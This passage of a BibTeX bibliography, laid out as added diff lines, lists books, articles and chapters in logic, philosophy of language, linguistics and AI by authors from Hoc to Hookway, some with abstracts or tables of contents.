editor = {Jean-Michel Hoc and Pietro C. Cacciabue and Erik Hollnagel}, + title = {Expertise and Technology: Cognition and Human-Computer + Cooperation}, + publisher = {Lawrence Erlbaum Associates}, + year = {1995}, + address = {Hillsdale, New Jersey}, + ISBN = {0805815112 (acid-free paper)}, + topic = {HCI;} + } + +@book{ hoch-etal:2001a, + editor = {Stephen J. Hoch and Howard G. Kunreuther and Robert E. Gunther}, + title = {Wharton on Making Decisions}, + publisher = {Wiley}, + year = {2001}, + address = {New York}, + ISBN = {0471150819 (electronic bk.)}, + topic = {risk-management;} + } + +@article{ hochberg:1977a, + author = {Herbert Hochberg}, + title = {Properties, Abstracts, and the Axiom of Infinity}, + journal = {Journal of Philosophical Logic}, + year = {1977}, + volume = {6}, + number = {2}, + pages = {193--207}, + topic = {intensional-logic;Carnap;} + } + +@incollection{ hochberg:1978a, + author = {Herbert Hochberg}, + title = {Mapping, Meaning, and Metaphysics}, + booktitle = {Contemporary Perspectives in the Philosophy of Language}, + publisher = {University of Minnesota Press}, + year = {1978}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard K. + Wettstein}, + pages = {326--346}, + address = {Minneapolis}, + topic = {metaphysics;philosophical-ontology;nominalism;} + } + +@incollection{ hochberg:1978b, + author = {Herbert Hochberg}, + title = {Sellars and {G}oodman on Predicates, + Properties, and Truth}, + booktitle = {Contemporary Perspectives in the Philosophy of Language}, + publisher = {University of Minnesota Press}, + year = {1978}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard K. + Wettstein}, + pages = {360--368}, + address = {Minneapolis}, + topic = {metaphysics;philosophical-ontology;nominalism;} + } + +@incollection{ hockey:1994a, + author = {Susan Hockey}, + title = {The Center for Electronic Texts in the + Humanities}, + booktitle = {Current Issues in Computational Linguistics: Essays in + Honour of {D}on {W}alker}, + publisher = {Giardini Editori e Stampatori and Kluwer Academic + Publishers}, + year = {1994}, + editor = {Antonio Zampolli and Nicoletta Calzolari and Martha Palmer}, + pages = {467--478}, + address = {Pisa and Dordrecht}, + topic = {corpus-linguistics;computers-in-the-humanities;} + } + +@incollection{ hockey:1998a, + author = {Susan Hockey}, + title = {Textual Databases}, + booktitle = {Using Computers in Linguistics: A Practical Guide}, + publisher = {Routledge}, + year = {1998}, + editor = {John Lawler and Aristar Dry}, + pages = {101--137}, + address = {London}, + topic = {textual-databases;corpus-linguistics;} + } + +@article{ hodes:1984a, + author = {Harold Hodes}, + title = {On Modal Logics which Enrich First-Order {S5}}, + journal = {Journal of Philosophical Logic}, + year = {1984}, + volume = {13}, + number = {4}, + pages = {423--454}, + topic = {modal-logic;quantifying-in-modality;} + } + +@article{ hodes:1984b, + author = {Harold T. Hodes}, + title = {Some Theorems on the Expressive Limitations of Modal + Languages}, + journal = {Journal of Philosophical Logic}, + year = {1984}, + volume = {13}, + number = {1}, + pages = {13--26}, + topic = {modal-logic;} + } + +@article{ hodes:1984c, + author = {Harold T. Hodes}, + title = {Axioms for Actuality}, + journal = {Journal of Philosophical Logic}, + year = {1984}, + volume = {13}, + number = {1}, + pages = {27--34}, + topic = {modal-logic;(non)existence;actuality;} + } + +@article{ hodes:1987a, + author = {Harold Hodes}, + title = {Individual-Actualism and Three-Valued Modal Logics, + Part 2: Natural Deduction Theorems}, + journal = {Journal of Philosophical Logic}, + year = {1987}, + volume = {16}, + number = {1}, + pages = {17--63}, + topic = {modal-logic;} + } + +@article{ hodes_h:1986a, + author = {Harold Hodes}, + title = {Individual-Actualism and Three-Valued Modal Logics, Part + 1: Model-Theoretic Semantics}, + journal = {Journal of Philosophical Logic}, + year = {1986}, + volume = {15}, + number = {4}, + pages = {369--401}, + topic = {modal-logic;multi-valued-logic;} + } + +@article{ hodes_l:1972a, + author = {Louis Hodes}, + title = {Solving Problems by Formula Manipulation in Logic and + Linear Inequalities}, + journal = {Artificial Intelligence}, + year = {1972}, + volume = {3}, + number = {1--3}, + pages = {165--174}, + acontentnote = {Abstract: + Using formal logic, many problems from the general area of + linear inequalities can be expressed in the elementary theory of + addition on the real numbers (EAR). We describe a method for + eliminating quantifiers in EAR which has been programmed and + demonstrate its usefulness in solving some problems related to + linear programming. + In the area of mechanical mathematics this kind of approach has + been neglected in favor of more generalized methods based on + Herbrand expansion. However, in a restricted area, such as + linear inequalities, the use of these specialized methods can + increase efficiency by several orders of magnitude over an + axiomatic Herbrand approach, and make practical problems + accessible. } , + topic = {theorem-proving;} + } + +@incollection{ hodges:1983a, + author = {Wilfrid Hodges}, + title = {Elementary Predicate Logic}, + booktitle = {Handbook of Philosophical Logic, Volume {I}: + Elements of Classical Logic}, + publisher = {D. Reidel Publishing Co.}, + year = {1983}, + editor = {Dov Gabbay and Franz Guenther}, + pages = {1--131}, + address = {Dordrecht}, + topic = {logic-survey;first-order-logic;} + } + +@incollection{ hodges:1988a, + author = {Andrew Hodges}, + title = {Alan {T}uring and the {T}uring Machine}, + booktitle = {The Universal {T}uring Machine: A Half-Century + Survey}, + publisher = {Oxford University Press}, + year = {1988}, + editor = {Rolf Herkin}, + pages = {3--15}, + address = {Oxford}, + topic = {Turing;history-of-theory-of-computation;} + } + +@incollection{ hodges:1994a, + author = {Wilfrid Hodges}, + title = {Logical Features of {H}orn Clauses}, + booktitle = {The Handbook of Logic in Artificial Intelligence and + Logic Programming, Volume 1: Deductive + Methodologies}, + editor = {Dov Gabbay and Christopher Hogger and J.A. Robinson}, + publisher = {Oxford University Press}, + pages = {449--503}, + address = {Oxford}, + year = {1994}, + missinginfo = {ed's 1st name}, + topic = {kr;logic-in-AI-survey;Horn-theories;kr-course;} +} + +@incollection{ hodges:1995a, + author = {Wilfrid Hodges}, + title = {Belief Revision}, + booktitle = {The Handbook of Logic in Artificial Intelligence and + Logic Programming, Volume {II}}, + editor = {Dov Gabbay}, + publisher = {Oxford University Press}, + address = {Oxford}, + year = {1995}, + missinginfo = {ed's 1st name, pages}, + topic = {belief-revision;} +} + +@article{ hodges:1998a, + author = {Wilfrid Hodges}, + title = {An Editor Recalls Some Hopeless Papers}, + journal = {The Bulletin of Symbolic Logic}, + year = {1998}, + volume = {4}, + number = {1}, + pages = {1--16}, + topic = {diagonal-arguments;Cantor's-theorem;crank-science;} + } + +@article{ hodges:2001a, + author = {Wilfrid Hodges}, + title = {Formal Features of Compositionality}, + journal = {Journal of Logic, Language, and Information}, + year = {2001}, + volume = {10}, + number = {1}, + pages = {7--28}, + topic = {compositionality;} + } + +@article{ hodges_m:1968a, + author = {Michael Hodges}, + title = {On `Being About'\,}, + journal = {Mind}, + year = {1968}, + volume = {77}, + number = {305}, + pages = {1--16}, + topic = {aboutness;} + } + +@article{ hodkinson:1994a, + author = {Ian Hodkinson}, + title = {Finite {H}-dimension Does Not Imply Expressive Completeness}, + journal = {Journal of Philosophical Logic}, + year = {1994}, + volume = {23}, + number = {5}, + pages = {535--572}, + topic = {temporal-logic;expressive-completeness;} + } + +@article{ hodkinson-simon:1997a, + author = {Ian Hodkinson and Andr\'as Simon}, + title = {The $k$-Variable Property is Stronger than $H$-Dimension + $k$}, + journal = {Journal of Philosophical Logic}, + year = {1977}, + volume = {26}, + number = {1}, + pages = {81--101}, + topic = {finite-logics;} + } + +@article{ hoeksema:1983a, + author = {Jack Hoeksema}, + year = {1983}, + title = {Negative Polarity and the Comparative}, + journal = {Natural Language and Linguistic Theory}, + volume = {1}, + pages = {403--434}, + topic = {polarity;comparative-constructions;} + } + +@article{ hoeksema:1984a, + author = {Jack Hoeksema}, + title = {To be Continued: The Story of the Comparative}, + journal = {Journal of Semantics}, + volume = {3}, + year = {1984}, + pages = {93--107}, + topic = {comparative-constructions;} + } + +@article{ hoeksema:1991a, + author = {Jack Hoeksema}, + title = {Complex Predicates and Liberation in {D}utch and + {E}nglish}, + journal = {Linguistics and Philosophy}, + year = {1991}, + volume = {14}, + number = {6}, + pages = {661--710}, + topic = {GPSG;categorial-grammar;complex-VPs;} + } + +@inproceedings{ hoeksema:1994a, + author = {Jack Hoeksema}, + title = {A Semantic Argument for Complex Predicates}, + booktitle = {Proceedings from Semantics and Linguistic Theory + {IV}}, + year = {1994}, + editor = {Mandy Harvey and Lynn Santelmann}, + pages = {145--160}, + publisher = {Cornell University}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + topic = {nl-semantics;polarity;collocations;} + } + +@book{ hoeksema:1996a, + editor = {Jacob Hoeksema}, + title = {Partitives: Studies on the Syntax and Semantics of + Partitive and Related Constructions}, + booktitle = {Partitives: Studies on the Syntax and Semantics of + Partitive and Related Constructions}, + publisher = {Mouton De Gruyter}, + year = {1996}, + number = {14}, + series = {Groningen-Amsterdam Studies in Semantics}, + address = {Berlin}, + topic = {partitive-constructions;} + } + +@incollection{ hoekstra:1992a, + author = {Teun Hoekstra}, + title = {Aspect and Theta Theory}, + booktitle = {Thematic Structure: Its Role in Grammar}, + publisher = {Foris Publications}, + year = {1992}, + editor = {Iggy M. Roca}, + pages = {145--174}, + address = {Berlin}, + topic = {thematic-roles;Aktionsarten;tense-aspect;} + } + +@incollection{ hoekstra-roberts:1993a, + author = {Teun Hoekstra and Ian Roberts}, + title = {Middle Constructions in {D}utch and {E}nglish}, + booktitle = {Knowledge and Language: Volume {II}, Lexical and Conceptual + Structure}, + publisher = {Kluwer Academic Publishers}, + year = {1993}, + editor = {Eric Reuland and Werner Abraham}, + pages = {183}, + address = {Dordrecht}, + topic = {middle-constructions;argument-structure;} + } + +@incollection{ hoepelman-rohrer:1980a, + author = {J. Hoepelman and Christian Rohrer}, + title = {On the Mass-Count Distinction and the French Imparfait and + Pass\'e Simple}, + booktitle = {Time, Tense, and Quantifiers}, + publisher = {Max Niemayer Verlag}, + year = {1980}, + pages = {629--645}, + address = {T\"ubingen}, + editor = {Christian Rohrer}, + topic = {nl-semantics;mass-term-semantics;tense-aspect;French-language;} + } + +@book{ hoffman:1992a, + editor = {Robert R. Hoffman}, + title = {The Psychology of Expertise: Cognitive Research and + Empirical {AI}}, + publisher = {Springer-Verlag}, + year = {1992}, + address = {Berlin}, + ISBN = {0387976868}, + topic = {expertise;expert-systems;} + } + +@incollection{ hoffman_b:1997a, + author = {Beryl Hoffman}, + title = {Word Order, Information Structure, and Centering in {T}urkish'}, + booktitle = {Centering Theory in Discourse}, + publisher = {Oxford University Press}, + year = {1997}, + editor = {Marilyn A. Walker and Arivind K. Joshi and Ellen Prince}, + pages = {253--271}, + address = {Oxford}, + topic = {anaphora-resolution;discourse;pragmatics;Turkish-language; + centering;} + } + +@article{ hoffman_j:2001a, + author = {J\"org Hoffman}, + title = {{FF}: The Fast-Forward PLanning System}, + journal = {The {AI} Magazine}, + year = {2001}, + volume = {22}, + number = {1}, + pages = {57--62}, + topic = {planning;planning-algorithms;planning-systems;} + } + +@book{ hoffman_p:1997a, + author = {Paul Hoffman}, + title = {The Man Who Loved Only Numbers}, + publisher = {The Mathematical Association of America}, + year = {1997}, + address = {Washington, DC}, + ISBN = {0-88385-}, + topic = {Erdos;} + } + +@article{ hoffman_rc:1968a, + author = {Robert C. Hoffman}, + title = {Mr. {M}akinson's Paradox}, + journal = {Mind}, + year = {1968}, + volume = {77}, + number = {305}, + pages = {122-123}, + xref = {Discussion of: makinson:1965a.}, + topic = {paradox-of-the-preface;} + } + +@book{ hoffman_rr:1992a, + editor = {Robert R. Hoffman}, + title = {The Psychology of Expertise: Cognitive Research and + Empirical {AI}}, + publisher = {Springer-Verlag}, + year = {1992}, + address = {Berlin}, + ISBN = {0387976868}, + topic = {expertise;empirical-methods-in-AI;} + } + +@article{ hoffmann_c-hopcroft:1988a, + author = {Christoph Hoffmann and John Hopcroft}, + title = {The Geometry of Projective Blending Surfaces}, + journal = {Artificial Intelligence}, + year = {1988}, + volume = {37}, + number = {1--3}, + pages = {357--376}, + acontentnote = {Abstract: + Blending surfaces smoothly join two or more primary surfaces + that otherwise would intersect in edges. We outline the + potential method for deriving blending surfaces, and explain why + the method needs to be considered in projective parameter space, + concentrating on the case of blending quadrics. Let W be the + quadratic polynomial substituted for the homogenizing variable + of parameter space. We show that a blending surface derived in + projective parameter space is the projective image of a + different blending surface derived in affine parameter space, + provided that W = U2 for some linear U. All blending surfaces + may therefore be classified on basis of the projective + classification of W.}, + topic = {geometrical-reasoning;spatial-reasoning;} + } + +@book{ hofstadter:1963a, + author = {Richard Hofstadter}, + title = {Anti-Intellectualism in {A}merican Life}, + publisher = {Knopf}, + year = {1963}, + address = {New York}, + ISBN = {0674654617 (pbk.)}, + topic = {fundamentalism;anti-intellectualism;American-culture;} + } + +@book{ hofstadter:1965a, + author = {Richard Hofstadter}, + title = {The Paranoid Style in {A}merican Politics, and Other Essays}, + publisher = {Knopf}, + year = {1965}, + address = {New York}, + ISBN = {0674654617 (pbk.)}, + topic = {American-politics;} + } + +@incollection{ hogan-etal:1998a, + author = {James M. Hogan and Joachim Diderich and Gerald D. Finn}, + title = {Selective Attention and the Acquisition of + Spatial Semantics}, + booktitle = {Proceedings of the Joint Conference on New Methods in + Language Processing and Computational Language Learning}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Jill Burstein and Claudia Leacock}, + pages = {235--244}, + address = {Somerset, New Jersey}, + topic = {attention;semantics-acquisition;spatial-language; + automated-language-acquisition;} + } + +@incollection{ hogenbout-matsumoto:1998a, + author = {Wide R. Hogenbout and Yuji Matsumoto}, + title = {Robust Parsing Using a Hidden {M}arkov Model}, + booktitle = {{FSMNLP'98}: International Workshop on Finite State + Methods in Natural Language Processing}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Lauri Karttunen}, + pages = {37--48}, + address = {Somerset, New Jersey}, + topic = {nl-processing;parsing-algorithms;probabilistic-parsers; + hidden-Markov-models;} + } + +@incollection{ hogenbout-matsumoto:1998b, + author = {Wide R. Hogenbout and Yuji Matsumoto}, + title = {A Preliminary Study of Word Clustering Based on Syntactic + Behavior}, + booktitle = {{CoNLL97}: Computational Natural Language Learning}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {T. Mark Ellison}, + pages = {16--24}, + address = {Somerset, New Jersey}, + topic = {machine-language-learning;grammar-learning;} + } + +@article{ hogg-williams:1994a, + author = {Tad Hogg and Colin P. Williams}, + title = {The Hardest Constraint Problems: A Double Phase + Transition}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {69}, + number = {1--2}, + pages = {359--377}, + acontentnote = {Abstract: + The distribution of hard graph coloring problems as a function + of graph connectivity is shown to have two distinct transition + behaviors. The first, previously recognized, is a peak in the + median search cost near the connectivity at which half the + graphs have solutions. This region contains a high proportion of + relatively hard problem instances. However, the hardest + instances are in fact concentrated at a second, lower, + transition point. Near this point, most problems are quite easy, + but there are also a few very hard cases. This region of + exceptionally hard problems corresponds to the transition + between polynomial and exponential scaling of the average search + cost, whose location we also estimate theoretically. These + behaviors also appear to arise in other constraint problems. + This work also shows the limitations of simple measures of the + cost distribution, such as mean or median, for identifying + outlying cases. } , + topic = {constraint-satisfaction;graph-based-reasoning; + computational-phase-transitions;} + } + +@inproceedings{ hogg:1995a, + author = {Tad Hogg}, + title = {Social Dilemmas in Computational Ecosystems}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {711--1002}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {distributed-AI;social-choice-theory;} + } + +@article{ hogg:1996a, + author = {Tad Hogg}, + title = {Refining the Phase Transition in Combinatorial Search}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {81}, + number = {1--2}, + pages = {127--154}, + topic = {search;experiments-on-theorem-proving-algs; + computational-phase-transitions;} + } + +@article{ hogg-etal:1996a, + author = {Tad Hogg and Bernardo A. Huberman and Colin P. Williams}, + title = {Phase Transitions and the Search Problem}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {81}, + number = {1--2}, + pages = {1--15}, + contentnote = {Introduction to an issue on this topic.}, + topic = {search;experiments-on-theorem-proving-algs; + computational-phase-transitions;} + } + +@unpublished{ hohm:1988a, + author = {Larry Hohm}, + title = {Future Contingents and the Trouble with Truth Value Gaps}, + year = {1988}, + note = {Unpublished manuscript, Illinois State University}, + topic = {temporal-logic;branching-time;truth-value-gaps; + future-contingent-propositions;} + } + +@inproceedings{ hoji:1987a, + author = {H. Hoji}, + title = {Empty Pronominals in {J}apanese and Subject of {NP}}, + booktitle = {{NELS 17}: Proceedings of the Seventeenth Conference of the + {N}orth {E}ast {L}inguistic {S}ociety}, + year = {1987}, + editor = {Joyce McDonough and B. Plunkett}, + publisher = {GLSA Publications}, + address = {Amherst, Massachusetts}, + missinginfo = {A's 1st name, pages}, + topic = {japanese-language;zero-pronouns;} + } + +@article{ holborow:1971a, + author = {Les Holborow}, + title = {The Commitment Fallacy}, + journal = {No\^us}, + year = {1971}, + volume = {5}, + number = {4}, + pages = {385--394}, + topic = {speech-acts;} + } + +@article{ holdcroft:1968a, + author = {David Holdcroft}, + title = {Meaning and Illocutionary Acts}, + journal = {Ratio}, + year = {1964}, + volume = {6}, + pages = {128--143}, + missinginfo = {number}, + topic = {speech-acts;pragmatics;} + } + +@article{ holdcroft:1974a, + author = {David Holdcroft}, + title = {Performatives and Statements}, + journal = {Mind}, + year = {1974}, + volume = {83}, + number = {329}, + pages = {1--18}, + topic = {speech-acts;} + } + +@book{ holdcroft:1978a, + author = {David Holdcroft}, + title = {Words and Deeds: Problems in the Theory of Speech Acts}, + publisher = {Oxford University Press}, + year = {1978}, + address = {Oxford}, + contentnote = {TC: + 1. Austin + 2. Meaning and use + 3. Searle + 4. Performative Analysis + 5. Imperatives + 6. Interrogatives + 7. Commissives + 8. A proposal about illocutions + } , + topic = {speech-acts;speaker-meaning;pragmatics;} + } + +@article{ holdcroft:1979a, + author = {David Holdcroft}, + title = {Assertive Acts, Context, and Evidence}, + journal = {Journal of Pragmatics}, + year = {1979}, + volume = {3}, + pages = {473--488}, + topic = {speech-acts;pragmatics;context;} + } + +@article{ holdcroft:1979b, + author = {David Holdcroft}, + title = {Speech Acts and Conversation, Part {I}}, + journal = {Philosophical Quarterly}, + year = {1979}, + volume = {29}, + pages = {125--141}, + topic = {speech-acts;pragmatics;} + } + +@incollection{ holdcroft:1992a, + author = {David Holdcroft}, + title = {Searle on Conversation and Structure}, + booktitle = {(On) {S}earle on Conversation}, + publisher = {John Benjamins Publishing Company}, + year = {1992}, + editor = {Herman Parret and Jef Verschueren}, + pages = {57--76}, + address = {Amsterdam}, + topic = {foundations-of-pragmatics;discourse-analysis;pragmatics;} + } + +@incollection{ holdcroft:1994a, + author = {David Holdcroft}, + title = {Indirect Speech Acts and Propositional Content}, + booktitle = {Foundations of Speech Act Theory: Philosophical + and Linguistic Perspectives}, + publisher = {Routledge and Kegan Paul}, + year = {1984}, + editor = {Savas L. Tsohatzidis}, + address = {London}, + missinginfo = {pages}, + topic = {indirect-speech-acts;} + } + +@article{ holdsworth:1977a, + author = {David G. Holdsworth}, + title = {Category Theory and Quantum Mechanics (Kinematics)}, + journal = {Journal of Philosophical Logic}, + year = {1977}, + volume = {6}, + number = {4}, + pages = {441--453}, + topic = {quantum-logic;category-theory;} + } + +@book{ holland_jh:1975a, + author = {John H. Holland}, + title = {Adaptation in Natural and Artificial Systems}, + publisher = {University of Michigan Press}, + year = {1975}, + address = {Ann Arbor, Michigan}, + edition = {1}, + topic = {complex-adaptive-systems;genetic-algorithms;} + } + +@book{ holland_jh:1986a, + author = {John H. Holland}, + title = {Induction: Processes of Inference, Learning, and Discovery}, + publisher = {The {MIT} Press}, + year = {1986}, + address = {Cambridge, Massachusetts}, + ISBN = {0262081601}, + xref = {Review: shrager:1989a.}, + topic = {induction;scientific-discovery;} + } + +@book{ holland_jh:1992a, + author = {John H. Holland}, + title = {Adaptation in Natural and Artificial Systems}, + publisher = {The {MIT} Press}, + year = {1992}, + address = {Cambridge, Massachusetts}, + edition = {2}, + missinginfo = {A's 1st name.}, + xref = {Review: levenick:1998a.}, + topic = {complex-adaptive-systems;genetic-algorithms;} + } + +@incollection{ holland_pw-rubin:1983a, + author = {P.W. Holland and D.B. Rubin}, + title = {On {L}ord's Paradox}, + booktitle = {Principals of Modern Psychological Measurement}, + publisher = {Lawrence Erlbaum Associates}, + year = {1983}, + editor = {Howard Wainer and Samuel Messick}, + address = {Mahwah, New Jersey}, + missinginfo = {A's,pages}, + contentnote = {Lord's paradox is a variation on Simpson's paradox.}, + note = {This is how the title of the book is spelled.}, + topic = {foundations-of-statistics;} + } + +@article{ holland_pw:1986a, + author = {P.W. Holland}, + title = {Statistics and Causal Inference}, + journal = {Journal of the American Statistics Association}, + year = {1986}, + volume = {81}, + pages = {945--961}, + missinginfo = {A's 1st name, number}, + topic = {statistics;statistical-(in)dependence;} + } + +@article{ holland_pw:1995a, + author = {P.W. Holland}, + title = {Some Reflections on {F}riedman's Critiques}, + journal = {Foundations of Science}, + year = {1995}, + volume = {1}, + pages = {50--57}, + missinginfo = {A's 1st name, number}, + topic = {foundations-of-statistics;} + } + +@book{ holland_vm-etal:1995a, + editor = {V. Melissa Holland and Jonathan D. Kaplan and Michelle R. Sams}, + title = {Intelligent Language Tutors}, + publisher = {Lawrence Erlbaum Associates}, + year = {1995}, + address = {Mahwah, New Jersey}, + topic = {intelligent-tutoring; + intelligent-computer-assisted-language-instruction;} + } + +@article{ hollenberg:1997a, + author = {Marco Hollenberg}, + title = {An Equational Axiomatization of Dynamic Negation and + Relational Composition}, + journal = {Journal of Logic, Language, and Information}, + year = {1997}, + volume = {6}, + number = {4}, + pages = {381--401}, + topic = {modal-logic;dynamic-logic;} + } + +@article{ hollenberg-visser:1999a, + author = {Marco Hollenberg and Albert Visser}, + title = {Dynamic Negation, the One and Only}, + journal = {Journal of Logic, Language, and Information}, + year = {1999}, + volume = {8}, + number = {2}, + pages = {137--141}, + topic = {dynamic-logic;negation;} + } + +@incollection{ hollerbach:1990a, + author = {John M. Hollerbach}, + title = {Fundamentals of Motor Behavior}, + booktitle = {An Invitation to Cognitive Science. Volume + 2: Visual Cognition and Action}, + publisher = {The {MIT} Press}, + year = {1990}, + editor = {Daniel N. Osherson and Howard Lasnik}, + pages = {153--182}, + address = {Cambridge, Massachusetts}, + topic = {cognitive-psychology;motor-skills;} + } + +@incollection{ hollerbach:1990b, + author = {John M. Hollerbach}, + title = {Planning of Arm Movements}, + booktitle = {An Invitation to Cognitive Science. Volume + 2: Visual Cognition and Action}, + publisher = {The {MIT} Press}, + year = {1990}, + editor = {Daniel N. Osherson and Howard Lasnik}, + pages = {183--211}, + address = {Cambridge, Massachusetts}, + topic = {cognitive-psychology;motor-skills;action;} + } + +@inproceedings{ hollunder:1990a, + author = {Bernhard Hollunder}, + title = {Hybrid Inferences in {\sc kl-one}-Based Knowledge + Representation Systems}, + booktitle = {Proceedings of GWAI--90, Fourteenth German Workshop + on Artificial Intelligence}, + year = {1990}, + pages = {38--47}, + publisher = {Eringerfeld}, + missinginfo = {address}, + topic = {taxonomic-logics;} + } + +@incollection{ hollunder-baader:1991a, + author = {Bernhard Hollunder and Franz Baader}, + title = {Qualifying Number Restrictions in Concept Languages}, + booktitle = {{KR}'91: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1991}, + editor = {James F. Allen and Richard Fikes and Erik Sandewall}, + pages = {335--346}, + address = {San Mateo, California}, + topic = {kr;extensions-of-kl1;kr-course;} + } + +@inproceedings{ hollunder:1993a, + author = {Franz Baader and Bernhard Hollunder}, + title = {How to Prefer More Specific Defaults in + Terminological Default Logic}, + booktitle = {Proceedings of the Thirteenth International Joint + Conference on Artificial Intelligence}, + year = {1993}, + editor = {Ruzena Bajcsy}, + pages = {669--674}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + topic = {kr;taxonomic-logics;inheritance-theory;kr-course;} + } + +@incollection{ holt:1994a, + author = {Debra J. Holt}, + title = {Coherent Belief Revision in Games}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Fifth Conference ({TARK} 1994)}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Ronald Fagin}, + pages = {305--320}, + address = {San Francisco}, + topic = {game-theory;belief-revision;} + } + +@article{ holte-etal:1996a, + author = {R.C. Holte and T. Mkadmi and R.M. Zimmer and A.J. + Mac{D}onald}, + title = {Speeding up Problem Solving by Abstraction: A Graph + Oriented Approach}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {85}, + number = {1--2}, + pages = {321--361}, + topic = {problem-solving;abstraction;graph-based-reasoning;} + } + +@incollection{ holtgraves:1998a, + author = {T. Holtgraves}, + title = {Interpersonal Foundations of Conversational Indirectness}, + booktitle = {Social and Cognitive Approaches to Interpersonal + Communication}, + publisher = {Lawrence Erlbaum}, + year = {1998}, + editor = {S.R. Fussell and R.J. Kreuz}, + pages = {71--89}, + address = {Mahwah, New Jersey}, + missinginfo = {A's 1st name, E's 1st name.}, + topic = {indirect-speech-acts;cognitive-psychology;} + } + +@article{ holton:1999a, + author = {Richard Holton}, + title = {Intention and Weakness of Will}, + journal = {The Journal of Philosophy}, + year = {1999}, + volume = {96}, + number = {5}, + pages = {263--269}, + topic = {intention;akrasia;} + } + +@book{ holyoak-thagard:1994a, + author = {Keith Holyoke and Paul Thagard}, + title = {Mental Leaps: Analogy in Creative Thought}, + publisher = {The {MIT} Press}, + year = {1994}, + address = {Cambridge, Massachusetts}, + topic = {analogy;} + } + +@book{ holyoak-thagard:1995a, + author = {Keith J. Holyoak and Paul Thagard}, + title = {Mental Leaps: Analogy In Creative Thought}, + publisher = {The {MIT} Press}, + year = {1995}, + address = {Cambridge, Massachusetts}, + ISBN = {0262082330}, + topic = {analogy;creativity;} + } + +@book{ honderich:1973a, + editor = {Ted Honderich}, + title = {Essays on Freedom of Action}, + publisher = {Routledge and Kegan Paul}, + year = {1973}, + address = {London}, + ISBN = {0710073925}, + topic = {freedom;volition;action;} + } + +@incollection{ honderich:1993a, + author = {Ted Honderich}, + title = {The Union Theory and Anti-Individualism}, + booktitle = {Mental Causation}, + publisher = {Oxford University Press}, + year = {1993}, + editor = {John Heil and Alfred R. Mele}, + pages = {137--159}, + address = {Oxford}, + topic = {mind-body-problem;causality;mental-events;} + } + +@book{ honderich:1996a, + editor = {Ted Honderich}, + title = {The {O}xford Companion to Philosophy}, + publisher = {Oxford University Presss}, + year = {1996}, + address = {Oxford}, + topic = {philosophy-handbook/encyclopedia;} + } + +@incollection{ honderich:1996b, + author = {Ted Honderich}, + title = {Consciousness as Existence}, + booktitle = {Current Issues in the Philosophy of Mind}, + publisher = {Cambridge University Press}, + year = {1996}, + editor = {Anthony O'Hear}, + pages = {137--155}, + address = {Cambridge, England}, + topic = {consciesness;philosophy-of-mind;} + } + +@book{ honeck:1996a, + editor = {Richard Honeck}, + title = {Figurative Language and Cognitive Science}, + publisher = {Lawrence Erlbaum Associates}, + year = {1996}, + address = {Mahwah, New Jersey}, + topic = {metaphor;psycholinguistics;cognitive-psychology;pragmatics;} + } + +@article{ honeycutt:1998a, + author = {Lee Honeycutt}, + title = {Review of {\it Linguistic Concepts and Methods in {CSCW}}, + edited by {J}ohn {H}. {C}onnolly and {L}yn {P}emberton}, + journal = {Computational Linguistics}, + year = {1998}, + volume = {24}, + number = {2}, + contentnote = {"CSCW" = Computer Supported Cooperative Work}, + pages = {324--327}, + topic = {CSCW;nl-processing;} + } + +@incollection{ honkela:1999a, + author = {Timo Honkela}, + title = {Connectionist Analysis and Creation + of Context for Natural Language Understanding and + Knowledge Management}, + booktitle = {Modeling and Using Contexts: Proceedings of + the Second International and Interdisciplinary + Conference, {CONTEXT}'99}, + publisher = {Springer-Verlag}, + year = {1999}, + editor = {Paolo Bouquet and Luigi Serafini and Patrick + Br\'ezillon and Massimo Benerecetti and Francesca + Castellani}, + pages = {479--482}, + address = {Berlin}, + topic = {context;nl-interpretation;connectionist-models;} + } + +@article{ honore:1964a, + author = {A.M. Honor\'e}, + title = {Can and Can't}, + journal = {Mind}, + year = {1964}, + volume = {73}, + pages = {463--479}, + missinginfo = {A's 1st name, number}, + topic = {ability;} + } + +@book{ hook:1958a, + editor = {Sidney Hook}, + title = {Determinism and Freedom}, + publisher = {New York University Press}, + year = {1958}, + address = {New York}, + topic = {freedom;volition;} + } + +@book{ hook:1960a, + editor = {Sidney Hook}, + title = {Dimensions of Mind: A Symposium}, + publisher = {New York University Press}, + year = {1960}, + address = {New York}, + topic = {philosophy-of-mind;} + } + +@book{ hooker-etal:1978a, + editor = {Clifford Hooker and James J. Leach and Edward McClennen}, + title = {Foundations and Applications of Decision Theory}, + publisher = {D. Reidel Publishing Co.}, + year = {1978}, + address = {Dordrecht}, + ISBN = {9027708614}, + topic = {decision-theory;} + } + +@book{ hookway:1984a, + editor = {Christopher Hookway}, + title = {Minds, Machines, and Evolution: Philosophical Studies}, + publisher = {Cambridge University Press}, + year = {1984}, + address = {Cambridge, England}, + ISBN = {0521265479 (hard)}, + contentnote = {TC: + 1. Christopher Hookway, "Naturalism, Fallibilism, and + Evolutionary Epistemology" + 2. David Hull, "Historical entities and historical narratives" + 3. Elliott Sober, "Force and disposition in evolutionary theory" + 4. John Maynard Smith, "The evolution of animal intelligence " + 5. Neil Tennant, "Intentionality, syntactic structure and the + evolution of language" + 6. Yorick Wilks, "Machines and consciousness" + 7. Daniel Dennett, "Cognitive Wheels" + 10. Margaret Boden, "Animal Perception from an + Artificial Intelligence Viewpoint" + } , + xref = {Review: stefik:1985b.}, + topic = {evolution;philosophy-of-mind;philosophy-of-language;} + } + +@book{ hookway:1985a, + author = {Christopher Hookway}, + title = {Peirce}, + publisher = 